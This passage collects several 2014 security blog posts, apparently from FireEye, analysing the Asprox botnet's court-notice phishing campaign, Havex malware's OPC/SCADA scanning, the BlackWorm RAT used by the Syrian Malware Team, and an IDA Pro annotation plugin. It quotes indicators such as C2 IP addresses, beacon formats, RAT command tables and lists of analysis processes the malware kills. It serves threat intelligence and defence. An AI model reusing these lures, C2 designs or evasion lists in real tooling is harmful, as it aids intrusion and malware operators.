The APT group responsible for this exploit has been the first group to have access to a select number of browser-based 0-day exploits (e.g. IE, Firefox, and Flash) in the past. They are extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure. They have a number of backdoors including one known as Pirpi that we previously discussed here. CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case.

As this is still an active investigation we are not releasing further indicators about the exploit at this time.

Acknowledgement: We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart Villeneuve and Yichong Lin for their support, research, and analysis on these findings.

A Not-So Civic Duty: Asprox Botnet Campaign Spreads Court Dates and Malware

16 June 2014 at 14:00

Executive Summary

FireEye Labs has been tracking a recent spike in malicious email detections that we attribute to a campaign that began in 2013. While malicious email campaigns are nothing new, this one is significant in that we are observing mass-targeting attackers adopting the malware evasion methods pioneered by the stealthier APT attackers. And this is certainly a high-volume business, with anywhere from a few hundred to ten thousand malicious emails sent daily – usually distributing between 50 and 500,000 emails per outbreak.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, FireEye Labs discovered that each and every major spike in email blasts brought a change in the attributes of their attack. These changes have made it difficult for anti-virus, IPS, firewalls and file-based sandboxes to keep up with the malware and effectively protect endpoints from infection. Worse, if past is prologue, we can expect other malicious, mass-targeting email operators to adopt this approach to bypass traditional defenses.

This blog will cover the trends of the campaign, as well as provide a short technical analysis of the payload.

Campaign Details

fig1

Figure 1: Attack Architecture

The campaign first appeared in late December of 2013 and has since been seen in fairly cyclical patterns each month. It appears that the threat actors behind this campaign are fairly responsive to published blogs and reports surrounding their malware techniques, tweaking their malware accordingly to continuously try and evade detection with success.

In late 2013, malware labeled as Kuluoz, the specific spam component of the Asprox botnet, was discovered to be the main payload of what would become the first malicious email campaign. Since then, the threat actors have continuously tweaked the malware by changing its hardcoded strings, remote access commands, and encryption keys.

Previously, Asprox malicious email campaigns targeted various industries in multiple countries and included a URL link in the body. The current version of Asprox includes a simple zipped email attachment that contains the malicious payload “exe.” Figure 2 below represents a sample message while Figure 3 is an example of the various court-related email headers used in the campaign.

fig2

Figure 2 Email Sample

fig3

Figure 3 Email Headers

Some of the recurring campaign that Asporox used includes themes focused around airline tickets, postal services and license keys. In recent months however, the court notice and court request-themed emails appear to be the most successful phishing scheme theme for the campaign.

The following list contains examples of email subject variations, specifically for the court notice theme:

  • Urgent court notice
  • Notice to Appear in Court
  • Notice of appearance in court
  • Warrant to appear
  • Pretrial notice
  • Court hearing notice
  • Hearing of your case
  • Mandatory court appearance

The campaign appeared to increase in volume during the month of May. Figure 4 shows the increase in activity of Asprox compared to other crimewares towards the end of May specifically. Figure 5 highlights the regular monthly pattern of overall malicious emails. In comparison, Figure 6 is a compilation of all the hits from our analytics.

fig4

Figure 4 Worldwide Crimeware Activity

fig5

Figure 5 Overall Asprox Botnet tracking

fig6

Figure 6 Asprox Botnet Activity Unique Samples

These malicious email campaign spikes revealed that FireEye appliances, with the support of DTI cloud, were able to provide a full picture of the campaign (blue), while only a fraction of the emailed malware samples could be detected by various Anti-Virus vendors (yellow).

fig7

Figure 7 FireEye Detection vs. Anti-Virus Detection

By the end of May, we observed a big spike on the unique binaries associated with this malicious activity. Compared to the previous days where malware authors used just 10-40 unique MD5s or less per day, we saw about 6400 unique MD5s sent out on May 29th. That is a 16,000% increase in unique MD5s over the usual malicious email campaign we’d observed. Compared to other recent email campaigns, Asprox uses a volume of unique samples for its campaign.

fig8

Figure 8 Asprox Campaign Unique Sample Tracking

fig9

Figure 9 Geographical Distribution of the Campaign

fig10

Figure 10 Distribution of Industries Affected

Brief Technical Analysis

fig11

Figure 11 Attack Architecture

Infiltration

The infiltration phase consists of the victim receiving a phishing email with a zipped attachment containing the malware payload disguised as an Office document. Figure 11 is an example of one of the more recent phishing attempts.

fig12

Figure 12 Malware Payload Icon

Evasion

Once the victim executes the malicious payload, it begins to start an svchost.exe process and then injects its code into the newly created process. Once loaded into memory, the injected code is then unpacked as a DLL. Notice that Asprox uses a hardcoded mutex that can be found in its strings.

  1. Typical Mutex Generation
    1. "2GVWNQJz1"
  2. Create svchost.exe process
  3. Code injection into svchost.exe

Entrenchment

Once the dll is running in memory it then creates a copy of itself in the following location:

%LOCALAPPDATA%/[8 CHARACTERS].EXE

Example filename:

%LOCALAPPDATA%\lwftkkea.exe

It’s important to note that the process will first check itself in the startup registry key, so a compromised endpoint will have the following registry populated with the executable:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Exfiltration/Communication

The malware uses various encryption techniques to communicate with the command and control (C2) nodes. The communication uses an RSA (i.e. PROV_RSA_FULL) encrypted SSL session using the Microsoft Base Cryptographic Provider while the payloads themselves are RC4 encrypted. Each sample uses a default hardcoded public key shown below.

Default Public Key

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I'

Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw

jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U

00SNFZ88nyVv33z9+wIDAQAB

-----END PUBLIC KEY-----

First Communication Packet

Bot ID RC4 Encrypted URL

POST /5DBA62A2529A51B506D197253469FA745E7634B4FC

HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: <host useragent>

Host: <host ip>:443

Content-Length: 319

Cache-Control: no-cache

<knock><id>5DBA62A247BC1F72B98B545736DEA65A</id><group>0206s</group><src>3</src><transport>0</transport><time>1881051166</time><version>1537</version><status>0</status><debug>none<debug></knock>

C2 Commands

In comparison to the campaign at the end of 2013, the current campaign uses one of the newer versions of the Asprox family where threat actors added the command “ear.”

if ( wcsicmp(Str1, L"idl") )

{

if ( wcsicmp(Str1, L"run") )

{

if ( wcsicmp(Str1, L"rem") )

{

if ( wcsicmp(Str1, L"ear")

{

if ( wcsicmp(Str1, L"rdl") )

{

if ( wcsicmp(Str1, L"red") )

{

if ( !wcsicmp(Str1, L"upd") )

C2 commands Description
idl idl This commands idles the process to wait for commands This commands idles the process to wait for commands
run run Download from a partner site and execute from a specified path Download from a partner site and execute from a specified path
rem rem Remove itself Remove itself
ear ear Download another executable and create autorun entry Download another executable and create autorun entry
rdl rdl Download, inject into svchost, and run Download, inject into svchost, and run
upd upd Download and update Download and update
red red Modify the registry Modify the registry

C2 Campaign Characteristics

fig13

For the two major malicious email campaign spikes in April and May of 2014, separate sets of C2 nodes were used for each major spike.

April May-June
94.23.24.58 94.23.24.58 192.69.192.178 192.69.192.178
94.23.43.184 94.23.43.184 213.21.158.141 213.21.158.141
1.234.53.27 1.234.53.27 213.251.150.3 213.251.150.3
84.124.94.52 84.124.94.52 27.54.87.235 27.54.87.235
133.242.134.76 133.242.134.76 61.19.32.24 61.19.32.24
173.45.78.226 173.45.78.226 69.64.56.232 69.64.56.232
37.59.9.98 37.59.9.98 72.167.15.89 72.167.15.89
188.93.74.192 188.93.74.192 84.234.71.214 84.234.71.214
187.16.250.214 187.16.250.214 89.22.96.113 89.22.96.113
85.214.220.78 85.214.220.78 89.232.63.147 89.232.63.147
91.121.20.71 91.121.20.71
91.212.253.253 91.212.253.253
91.228.77.15 91.228.77.15

Conclusion

The data reveals that each of the Asprox botnet’s malicious email campaigns changes its method of luring victims and C2 domains, as well as the technical details on monthly intervals. And, with each new improvement, it becomes more difficult for traditional security methods to detect certain types of malware.

Acknowledgements:

Nart Villeneuve, Jessa dela Torre, and David Sancho. Asprox Reborn. Trend Micro. 2013. http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf

Havex, It’s Down With OPC

17 July 2014 at 14:00

FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.

While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS). Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.).

Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments. The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.

Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown. We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.

OPC Testing Environment

To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1 [3]). As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank). FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).

 

 

havex1

Figure 1: Topology of typical OPC server setup

The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices. We utilized an Arduino Uno [1] as the primary hardware platform, acting as the OPC server. The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost. We leveraged the OPC Server and libraries from St4makers [2] (as shown in Figure 2). This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.

havex2

Figure 2: OPC Server Setup

Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).

havex3

Figure 3: Matrikon OPC Explorer showing Arduino OPC Server

We also used Matrikon’s OPC Explorer [1], which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server. In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.

havex4

Figure 4: Tags identified for OPC server

In the OPC testing environment, we created tags in order to simulate a true OPC server functioning. Tags, in relation to ICS devices, are single data points. For example: temperature, vibration, or fill level. Tags represent a single value monitored or controlled by the system at a single point in time.

With our test environment complete, we executed the malicious Havex “.dll" file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.

Analysis

The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38). When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.

The scanning process starts when the Havex downloader calls the runDll export function.  The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions.  Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking.  The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:

 

 

 

Screen Shot 2014-07-17 at 12.31.56 PM

 

 

Figure 5: Relevant COM objects

Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server:

Screen Shot 2014-07-17 at 12.33.22 PM

            Figure 6: CLSIDs used to determine capabilities of the OPC server

When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\[random].tmp.dat. The results of a capability scan of an OPC server is stored in %TEMP%\OPCServer[random].txt. Files are not encrypted or deleted once the scanning process is complete.

Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\[random].tmp.yls.  The encryption process uses an RSA public key obtained from the PE resource TYU.  The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.

The TYU resource is BZip2 compressed and XORed with the string “1312312”.  A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below:

Screen Shot 2014-07-17 at 12.27.24 PM

Figure 7: Sample decoded TYU resource

The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier. The AASp1… value is the Base64 encoded RSA key.

A sample encrypted log file (%TEMP%\[random].tmp.yls) is below.

 

 

 

 

 

 

 

 

 

 

 

 

 

00000000  32 39 0a 66 00 66 00 30  00 30 00 66 00 66 00 30 29.f.f.0.0.f.f.000000010  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030  00 30 00 66 00 66 00 30  00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040  0a 31 32 38 0a 96 26 cc  34 93 a5 4a 09 09 17 d3 .128..&.4..J....00000050  e0 bb 15 90 e8 5d cb 01  c0 33 c1 a4 41 72 5f a5 .....]...3..Ar_.00000060  13 43 69 62 cf a3 80 e3  6f ce 2f 95 d1 38 0f f2 .Cib....o./..8..00000070  56 b1 f9 5e 1d e1 43 92  61 f8 60 1d 06 04 ad f9 V..^..C.a.`.....00000080  66 98 1f eb e9 4c d3 cb  ee 4a 39 75 31 54 b8 02 f....L...J9u1T..00000090  b5 b6 4a 3c e3 77 26 6d  93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..000000A0  08 6a 22 89 b7 d3 72 d4  1f 8d b6 80 2b d2 99 5d .j"...r.....+..]000000B0  61 87 c1 0c 47 27 6a 61  fc c5 ee 41 a5 ae 89 c3 a...G'ja...A....000000C0  9e 00 54 b9 46 b8 88 72  94 a3 95 c8 8e 5d fe 23 ..T.F..r.....].#000000D0  2d fb 48 85 d5 31 c7 65  f1 c4 47 75 6f 77 03 6b -.H..1.e..Guow.k

 

--Truncated--Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80 FE A6 B9 A9 8A 0F 41…The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72  94 a3 95 c8 8e 5d3DES Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1…

Figure 8: Sample encrypted .yls file

Execution

When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\[random].tmp.dat:

 

 

Screen Shot 2014-07-17 at 12.41.27 PM

 

 

Figure 9: Sample scan log

The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers. These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.

The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\[random].tmp.dat. The particular fields queried are: server state, tag name, type, access, and id. The contents of a sample %TEMP%\OPCServer[random].txt can be found below:

 

 

Screen Shot 2014-07-17 at 12.43.48 PM

 

 

Figure 10: Contents of OPCServer[Random].txt OPC interrogation

While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.

Conclusion

Part of threat intelligence requires understanding all parts of a particular threat. This is why we took a closer look at the OPC functionality of this particular Havex variant.  We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however.

Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex. First, ICS environments need to have the ability to perform full packet capture ability. This gives incident responders and engineers better visibility should an incident occur.

Also, having mature incident processes for your ICS environment is important. Being able to have security engineers that also understand ICS environments during an incident is paramount. Finally, having trained professionals consistently perform security checks on ICS environments is helpful. This ensures standard sets of security protocols and best practices are followed within a highly secure environment.

We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation. Still, lots of questions remain about this component of Havex. What is the attack path? Who is behind it? What is their intention? We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.

Acknowledgements

We would like to thank Josh Homan for his help and support.

Related MD5s

ba8da708b8784afd36c44bb5f1f436bc

6bfc42f7cb1364ef0bfd749776ac6d38

4102f370aaf46629575daffbd5a0b3c9

References

Connecting the Dots: Syrian Malware Team Uses BlackWorm for Attacks

29 August 2014 at 08:00

The Syrian Electronic Army has made news for its recent attacks on major communications websites, Forbes, and an alleged attack on CENTCOM. While these attacks garnered public attention, the activities of another group - The Syrian Malware Team - have gone largely unnoticed. The group’s activities prompted us to take a closer look. We discovered this group using a .NET based RAT called BlackWorm to infiltrate their targets.

The Syrian Malware Team is largely pro-Syrian government, as seen in one of their banners featuring Syrian President Bashar al-Assad. Based on the sentiments publicly expressed by this group it is likely that they are either directly or indirectly involved with the Syrian government. Further certain members of the Syrian Malware Team have ties to the Syrian Electronic army (SEA) known to be linked to the Syrian government. This indicates that the Syrian Malware Team may also be possibly an offshoot or part of the SEA.

syria1

Banner used by the Syrian Malware Team

BlackWorm Authorship

We found at least two distinct versions of the BlackWorm tool, including an original/private version (v0.3.0) and the Dark Edition (v2.1). The original BlackWorm builder was co-authored by Naser Al Mutairi from Kuwait, better known by his online moniker 'njq8'. He is also known to have coded njw0rm, njRAT/LV, and earlier versions of H-worm/Houdini. We found his code being used in a slew of other RATs such as Fallaga and Spygate. BlackWorm v0.3.0 was also co-authored by another actor, Black Mafia.

syria2

About section within the original version of BlackWorm builder

Within the underground development forums, it’s common for threat actors to collaborate on toolsets. Some write the base tools that other attackers can use; others modify and enhance existing tools.

The BlackWorm builder v2.1 is a prime example of actors modifying and enhancing current RATs. After njq8 and Black Mafia created the original builder, another author, Black.Hacker, enhanced its feature set.

syria3

About section within BlackWorm Dark Edition builder

syria4

Black.Hacker's banner on social media

syria5

As an interesting side note, 'njq8' took down his blog in recent months and announced a cease in all malware development activity on his Twitter and Facebook account, urging others to stop as well. This is likely a direct result of the lawsuit filed against him by Microsoft.

BlackWorm RAT Features

The builder for BlackWorm v0.3.0 is fairly simple and allows for very quick payload, but doesn’t allow any configuration other than the IP address for command and control (C2).

syria6

Building binary through BlackWorm v0.3.0

syria7

BlackWorm v0.3.0 controller

BlackWorm v0.3.0 supports the following commands between the controller and the implant:

ping Checks if victim is online
closeserver Exits the implant
restartserver Restarts the implant
sendfile Transfer and run file from server
download Download and run file from URL
ddos Ping flood target
msgbox Message interaction with victim
down Kill critical windows processes
blocker Block specified website by pointing resolution to 127.0.0.1
logoff Logout out of windows
restart Restart system
shutdown Shutdown system
more Disable task manager, registry tools, system restore. Also blocks keyboard and mouse input
hror Displays a startling flash video

In addition to the features supported by the command structure, the payload can:

  • Seek and kill no-ip processes DUC30 and DUC20
  • Disable Task Manager to kill process dialog
  • Copy itself to USB drives and create autorun entries
  • Copy itself to common peer-to-peer (P2P) share locations
  • Collect system information such as OS, username, hostname, presence of camera, active window name, etc., to display in the controller
  • Kill the following analysis processes (if found):
    • procexp
    • SbieCtrl
    • SpyTheSpy
    • SpeedGear
    • Wireshark
    • MBAM
    • ApateDNS
    • IPBlocker
    • cPorts
    • ProcessHacker
    • AntiLogger

The Syrian Malware Team primarily uses another version of BlackWorm called the Dark Edition (v2.1). BlackWorm v2.1 was released on a prolific underground forum where information and code is often shared, traded and sold.

syria8

BlackWorm v2.1 has the same abilities as the original version and additional functionality, including bypassing UAC, disabling host firewalls and spreading over network shares. Unlike its predecessor, it also allows for granular control of the features available within the RAT. These additional controls allow the RAT user to enable and disable features as needed. Binary output can be also be generated in multiple formats, such as .exe, .src and .dll.

syria9

BlackWorm Dark Edition builder

Syrian Malware Team

We observed activity from the Syrian Malware Team going as far back as Jan. 1, 2011. Based on Facebook posts, they are allegedly directly or indirectly involved with the Syrian government. Their Facebook page shows they are still very active, with a post as recent as July 16th, 2014.

syria10

Syrian Malware Team’s Facebook page

The Syrian Malware Team has been involved in everything from profiling targets to orchestrating attacks themselves. There are seemingly multiple members, including:

Partial list of self-proclaimed Syrian Malware Team members

Some of these people have posted malware-related items on Facebook.

syria11

Facebook posting of virus scanning of files

While looking for Dark Edition samples, we discovered a binary named svchost.exe (MD5: 015c51e11e314ff99b1487d92a1ba09b). We quickly saw indicators that it was created by BlackWorm Dark Edition.

syria12

Configuration options within code

The malware communicated out to 178.44.115.196, over port 5050, with a command structure of:

!0/j|n\12121212_64F3BF1F/j|n\{Hostname}/j|n\{Username}/j|n\USA/j|n\Win 7 Professional SP1 x86/j|n\No/j|n\2.4.0 [ Dark Edition]/j|n\/j|n\{ActiveWindowName}/j|n\[endof]

When looking at samples of Dark Edition BlackWorm being used by the Syrian Malware Team, the strings “Syrian Malware,” or “Syrian Malware Team” are often used in the C2 communications or within the binary strings.

Additional pivoting off of svchost.exe brought us to three additional samples apparently built with BlackWorm Dark Edition. E.exe, (MD5: a8cf815c3800202d448d035300985dc7) a binary that drew our attention, looked to be a backdoor with the Syrian Malware strings within it.

syria13

When executed, the binary beacons to aliallosh.sytes.net on port 1177. This C2 has been seen in multiple malware runs often associated with Syria.  The command structure of the binary is:

!0/j|n\Syrian Malware/j|n\{Hostname}/j|n\{Username}/j|n\USA/j|n\Win 7 Professional SP1 x86/j|n\No/j|n

\0.1/j|n\/j|n\{ActiveWindowName}/j|n\[endof]

Finally, pivoting to another sample, 1gpj.srcRania (MD5:f99c15c62a5d981ffac5fdb611e13095), the same strings were present. The string "Rania" used as a lure was in Arabic and likely refers to the prolific Queen Rania of Jordan.

syria14

The traffic is nearly identical to the other samples we identified and tied to the Syrian Malware Team.

!1/j|n\C:\Documents and Settings\{Username}\Local Settings\Application DataldoDrZdpkK.jpg - Windows Internet Explorer[endof]!0/j|n\Syrian Malware/j|n\{Hostname}/j|n\{Username}/j|n\USA/j|n\Win XP ProfessionalSP2 x86/j|n\No/j|n\0.1/j|n\/j|n\C:\Documents and Settings\{Username}\Local Settings\Application DataldoDrZdpkK.jpg - {ActiveWindowName}/j|n\[endof]

Conclusion

Determining which groups use which malware is often very difficult. Connecting the dots between actors and malware typically involves looking at binary code, identifying related malware examples associated with those binaries, and reviewing infection vectors, among other things.

This blog presents a prime example of the process of attribution. We connected a builder with malware samples and the actors/developers behind these attacks. This type of attribution is key to creating actionable threat intelligence to help proactively protect organizations.

FLARE IDA Pro Script Series: MSDN Annotations Plugin for Malware Analysis

11 September 2014 at 22:00

The FireEye Labs Advanced Reverse Engineering (FLARE) Team continues to share knowledge and tools with the community. We started this blog series with a script for Automatic Recovery of Constructed Strings in Malware. As always, you can download these scripts at the following location: https://github.com/fireeye/flare-ida. We hope you find all these scripts as useful as we do.

 

Motivation

 

During my summer internship with the FLARE team, my goal was to develop IDAPython plug-ins that speed up the reverse engineering workflow in IDA Pro. While analyzing malware samples with the team, I realized that a lot of time is spent looking up information about functions, arguments, and constants at the Microsoft Developer Network (MSDN) website. Frequently switching to the developer documentation can interrupt the reverse engineering process, so we thought about ways to integrate MSDN information into IDA Pro automatically. In this blog post we will release a script that does just that, and we will show you how to use it.

 

Introduction

 

The MSDN Annotations plug-in integrates information about functions, arguments and return values into IDA Pro’s disassembly listing in the form of IDA comments. This allows the information to be integrated as seamlessly as possible. Additionally, the plug-in is able to automatically rename constants, which further speeds up the analyst workflow. The plug-in relies on an offline XML database file, which is generated from Microsoft’s documentation and IDA type library files.

 

Features

 

Table 1 shows what benefit the plug-in provides to an analyst. On the left you can see IDA Pro’s standard disassembly: seven arguments get pushed onto the stack and then the CreateFileA function is called. Normally an analyst would have to look up function, argument and possibly constant descriptions in the documentation to understand what this code snippet is trying to accomplish. To obtain readable constant values, an analyst would be required to research the respective argument, import the corresponding standard enumeration into IDA and then manually rename each value. The right side of Table 1 shows the result of executing our plug-in showing the support it offers to an analyst.

The most obvious change is that constants are renamed automatically. In this example, 40000000h was automatically converted to GENERIC_WRITE. Additionally, each function argument is renamed to a unique name, so the corresponding description can be added to the disassembly.

flare1

Table 1: Automatic labelling of standard symbolic constants

In Figure 1 you can see how the plug-in enables you to display function, argument, and constant information right within the disassembly. The top image shows how hovering over the CreateFileA function displays a short description and the return value. In the middle image, hovering over the hTemplateFile argument displays the corresponding description. And in the bottom image, you can see how hovering over dwShareMode, the automatically renamed constant displays descriptive information.

Functions

flare2

Arguments

flare3

Constants

flare4

Figure 1: Hovering function names, arguments and constants displays the respective descriptions

 

How it works

 

Before the plug-in makes any changes to the disassembly, it creates a backup of the current IDA database file (IDB). This file gets stored in the same directory as the current database and can be used to revert to the previous markup in case you do not like the changes or something goes wrong.

The plug-in is designed to run once on a sample before you start your analysis. It relies on an offline database generated from the MSDN documentation and IDA Pro type library (TIL) files. For every function reference in the import table, the plug-in annotates the function’s description and return value, adds argument descriptions, and renames constants. An example of an annotated import table is depicted in Figure 2. It shows how a descriptive comment is added to each API function call. In order to identify addresses of instructions that position arguments prior to a function call, the plug-in relies on IDA Pro’s markup.

flare5

Figure 2: Annotated import table

Figure 3 shows the additional .msdn segment the plug-in creates in order to store argument descriptions. This only impacts the IDA database file and does not modify the original binary.

flare6

Figure 3: The additional segment added to the IDA database

The .msdn segment stores the argument descriptions as shown in Figure 4. The unique argument names and their descriptive comments are sequentially added to the segment.

flare7

Figure 4: Names and comments inserted for argument descriptions

To allow the user to see constant descriptions by hovering over constants in the disassembly, the plug-in imports IDA Pro’s relevant standard enumeration and adds descriptive comments to the enumeration members. Figure 5 shows this for the MACRO_CREATE enumeration, which stores constants passed as dwCreationDisposition to CreateFileA.

flare8

Figure 5: Descriptions added to the constant enumeration members

 

Preparing the MSDN database file

 

The plug-in’s graphical interface requires you to have the QT framework and Python scripting installed. This is included with the IDA Pro 6.6 release. You can also set it up for IDA 6.5 as described here (http://www.hexblog.com/?p=333).

As mentioned earlier, the plug-in requires an XML database file storing the MSDN documentation. We cannot distribute the database file with the plug-in because Microsoft holds the copyright for it. However, we provide a script to generate the database file. It can be cloned from the git repository at https://github.com/fireeye/flare-ida together with the annotation plug-in.

You can take the following steps to setup the database file. You only have to do this once.

 

     

  1. Download and install an offline version of the MSDN documentationYou can download the Microsoft Windows SDK MSDN documentation. The standalone installer can be downloaded from http://www.microsoft.com/en-us/download/details.aspx?id=18950. Although it is not the newest SDK version, it includes all the needed information and data extraction is straight-forward.As shown in Figure 6, you can select to only install the help files. By default they are located in C:\Program Files\Microsoft SDKs\Windows\v7.0\Help\1033.

     

    flare9

    Figure 6: Installing a local copy of the MSDN documentation

     

  2. Extract the files with an archive manager like 7-zip to a directory of your choice.
  3. Download and extract tilib.exe from Hex-Ray’s download page at https://www.hex-rays.com/products/ida/support/download.shtml 

     

    To allow the plug-in to rename constants, it needs to know which enumerations to import. IDA Pro stores this information in TIL files located in %IDADIR%/til/. Hex-Rays provides a tool (tilib) to show TIL file contents via their download page for registered users. Download the tilib archive and extract the binary into %IDADIR%. If you run tilib without any arguments and it displays its help message, the program is running correctly.

  4. Run MSDN_crawler/msdn_crawler.py <path to extracted MSDN documentation> <path to tilib.exe> <path to til files>

     

     

    With these prerequisites fulfilled, you can run the MSDN_crawler.py script, located in the MSDN_crawler directory. It expects the path to the TIL files you want to extract (normally %IDADIR%/til/pc/) and the path to the extracted MSDN documentation. After the script finishes execution the final XML database file should be located in the MSDN_data directory.

  5.  

 

You can now run our plug-in to annotate your disassembly in IDA.

Running the MSDN annotations plug-in

In IDA, use File - Script file... (ALT + F7) to open the script named annotate_IDB_MSDN.py. This will display the dialog box shown in Figure 7 that allows you to configure the modifications the plug-in performs. By default, the plug-in annotates functions, arguments and rename constants. If you change the settings and execute the plug-in by clicking OK, your settings get stored in a configuration file in the plug-in’s directory. This allows you to quickly run the plug-in on other samples using your preferred settings. If you do not choose to annotate functions and/or arguments, you will not be able to see the respective descriptions by hovering over the element.

flare10

Figure 7: The plug-in’s configuration window showing the default settings

When you choose to use repeatable comments for function name annotations, the description is visible in the disassembly listing, as shown in Figure 8.

flare11

Figure 8: The plug-in’s preview of function annotations with repeatable comments

 

Similar Tools and Known Limitations

 

Parts of our solution were inspired by existing IDA Pro plug-ins, such as IDAScope and IDAAPIHelp. A special thank you goes out to Zynamics for their MSDN crawler and the IDA importer which greatly supported our development.

Our plug-in has mainly been tested on IDA Pro for Windows, though it should work on all platforms. Due to the structure of the MSDN documentation and limitations of the MSDN crawler, not all constants can be parsed automatically. When you encounter missing information you can extend the annotation database by placing files with supplemental information into the MSDN_data directory. In order to be processed correctly, they have to be valid XML following the schema given in the main database file (msdn_data.xml). However, if you want to extend partly existing function information, you only have to add the additional fields. Name tags are mandatory for this, as they get used to identify the respective element.

For example, if the parser did not recognize a commonly used constant, we could add the information manually. For the CreateFileA function’s dwDesiredAccess argument the additional information could look similar to Listing 1.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<?xml version="1.0" encoding="ISO-8859-1"?>

<msdn>

<functions>

<function>

<name>CreateFileA</name>

<arguments>

<argument>

<name>dwDesiredAccess</name>

<constants enums="MACRO_GENERIC">

<constant>

<name>GENERIC_ALL</name>

<value>0x10000000</value>

<description>All possible access rights</description>

</constant>

<constant>

<name>GENERIC_EXECUTE</name>

<value>0x20000000</value>

<description>Execute access</description>

</constant>

<constant>

<name>GENERIC_WRITE</name>

<value>0x40000000</value>

<description>Write access</description>

</constant>

<constant>

<name>GENERIC_READ</name>

<value>0x80000000</value>

<description>Read access</description>

</constant>

</constants>

</argument>

</arguments>

</function>

</functions>

</msdn>

 

 

Listing 1: Additional information enhancing the dwDesiredAccess argument for the CreateFileA function

 

Conclusion

 

In this post, we showed how you can generate a MSDN database file used by our plug-in to automatically annotate information about functions, arguments and constants into IDA Pro’s disassembly. Furthermore, we talked about how the plug-in works, and how you can configure and customize it. We hope this speeds up your analysis process!

Stay tuned for the FLARE Team’s next post where we will release solutions for the FLARE On Challenge (www.flare-on.com).

 

Two Limited, Targeted Attacks; Two New Zero-Days

14 October 2014 at 14:46

The FireEye Labs team has identified two new zero-day vulnerabilities as part of limited, targeted attacks against some major corporations. Both zero-days exploit the Windows Kernel, with Microsoft assigning CVE-2014-4148 and CVE-2014-4113 to and addressing the vulnerabilities in their October 2014 Security Bulletin.

FireEye Labs have identified 16 total zero-day attacks in the last two years – uncovering 11 in 2013 and five in 2014 so far.

